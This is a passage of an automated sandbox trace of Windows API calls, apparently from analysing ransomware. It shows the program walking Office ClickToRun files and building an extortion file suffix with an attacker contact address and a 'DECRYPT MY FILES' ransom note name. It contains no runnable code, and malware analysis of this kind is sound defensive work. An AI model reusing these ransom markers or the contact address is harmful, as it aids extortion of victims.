cAlternateFileName="APCB40~1.DLL")) returned 1 [0105.533] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll", len=0x5a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 1 [0105.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll", cchLength=0x5a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") returned 0x5a [0105.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.534] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.534] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.534] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0105.534] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll", len=0x58 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 1 [0105.534] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") returned 0x58 [0105.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.534] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.534] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.534] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0105.534] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll", len=0x5d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 1 [0105.534] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 0x5d [0105.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.535] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.535] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.535] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0105.535] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 1 [0105.535] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll") returned 0x5b [0105.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.535] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.535] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.535] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0105.536] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 1 [0105.536] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll") returned 0x5b [0105.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.536] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.536] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.536] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0105.536] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 1 [0105.536] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 0x5b [0105.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.536] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.536] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.537] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0105.537] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll", len=0x59 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 1 [0105.537] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 0x59 [0105.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.537] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.537] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.537] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0105.537] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll", len=0x5a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 1 [0105.537] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll", cchLength=0x5a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") returned 0x5a [0105.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.538] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.538] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.538] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0105.538] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll", len=0x58 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 1 [0105.538] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") returned 0x58 [0105.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.538] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.538] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.538] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0105.539] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 1 [0105.539] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") returned 0x5b [0105.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.539] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.539] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.539] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0105.539] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll", len=0x47 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 1 [0105.539] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") returned 0x47 [0105.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.539] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.539] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.540] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0105.540] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 1 [0105.540] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll") returned 0x49 [0105.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.540] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.540] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.540] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0105.540] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 1 [0105.540] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe") returned 0x49 [0105.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.541] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.541] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c 